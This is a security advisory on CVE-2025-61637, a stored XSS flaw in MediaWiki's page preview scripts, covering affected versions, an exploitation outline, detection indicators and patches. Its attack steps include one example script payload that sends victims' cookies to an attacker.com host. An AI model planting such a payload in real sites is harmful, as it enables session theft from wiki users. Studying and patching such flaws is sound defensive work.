CVE-2025-61637: 
NixOS vulnerability analysis and mitigation

CVE-2025-61637 is a stored Cross-Site Scripting (XSS) vulnerability in Wikimedia Foundation MediaWiki affecting the page preview functionality. The flaw resides in the JavaScript files resources/src/mediawiki.Action/mediawiki.Action.Edit.Preview.Js and resources/src/mediawiki.Page.Preview.Js, which fail to properly neutralize user-supplied input during web page generation. Affected versions include all MediaWiki releases before 1.39.14, before 1.43.4, and before 1.44.1. It was published on February 3, 2026, and carries a CVSS v3.1 base score of 4.8 (Medium) (Red Hat Advisory, Red Hat Bugzilla).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The flaw exists in MediaWiki's page preview JavaScript components, where attacker-controlled input — specifically through system messages — is rendered without adequate output encoding, enabling script injection into the preview rendering context. Exploitation requires network access, high privileges (e.g., administrator or interface-admin level), and user interaction (a victim must trigger the preview), resulting in a changed scope where the injected script executes in the victim's browser context. A technical write-up describing this as "Stored XSS through system messages in MW core" has been published (Infinitsec Blog, Red Hat Bugzilla).

Successful exploitation allows a high-privileged attacker to inject persistent malicious scripts into MediaWiki's page preview functionality, which execute in the browser context of any user who triggers the affected preview. The confidentiality and integrity impacts are both low (limited to the preview rendering scope), and there is no direct availability impact. In practice, this could be leveraged to steal session tokens, perform actions on behalf of victims, or escalate privileges within the MediaWiki instance (Red Hat Advisory, Feedly).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.054%, reflecting a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is constrained by the requirement for high privileges and user interaction, significantly limiting the attack surface (Feedly, Red Hat Advisory).

1. Privilege Acquisition: Obtain a high-privilege MediaWiki account (e.g., administrator or interface-admin) capable of editing system messages or interface pages.
2. Inject Malicious Payload: Edit a MediaWiki system message or interface page that is rendered during the page preview process, embedding a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in a field that is passed unsanitized to mediawiki.Action.Edit.Preview.Js or mediawiki.Page.Preview.Js.
3. Trigger Victim Interaction: Lure a target user (e.g., another editor or administrator) into previewing a page that renders the tampered system message or interface content.
4. Script Execution: The injected script executes in the victim's browser context, potentially stealing session cookies, performing authenticated actions, or further escalating privileges within the MediaWiki instance (Infinitsec Blog, Red Hat Bugzilla).

• Logs: MediaWiki access logs showing unusual edits to system messages or interface pages (MediaWiki: namespace) by high-privilege accounts, particularly followed by preview requests from other users.
• Network: Outbound HTTP requests from user browsers to unexpected external domains shortly after page preview actions, potentially indicating cookie or credential exfiltration.
• File System: Unexpected or unauthorized modifications to MediaWiki system message pages in the database, detectable via MediaWiki's revision history for the MediaWiki: namespace.
• Process/Application: JavaScript errors or unexpected DOM manipulation logged in browser developer consoles during page preview operations.

Wikimedia Foundation has released patched versions addressing this vulnerability: MediaWiki 1.39.14, 1.43.4, and 1.44.1. Administrators should upgrade to one of these versions immediately. As a temporary workaround, restricting edit access to system messages and interface pages to only the most trusted users can reduce the attack surface. Implementing a strict Content Security Policy (CSP) on the MediaWiki instance may also help mitigate XSS impact (Red Hat Advisory, Debian Security Announce).

A blog post by MediaWiki developer Bawolff titled "How did XSSProtector do?" was published around the time of disclosure, reflecting community interest in MediaWiki's XSS mitigation track record (Bawolff Blog). Debian issued a security advisory (DSA-6085-1) covering this and related MediaWiki vulnerabilities, and the issue was tracked by Red Hat's security team (Debian Security Announce, Red Hat Bugzilla). Overall community reaction has been measured, consistent with the vulnerability's medium severity and limited exploitability.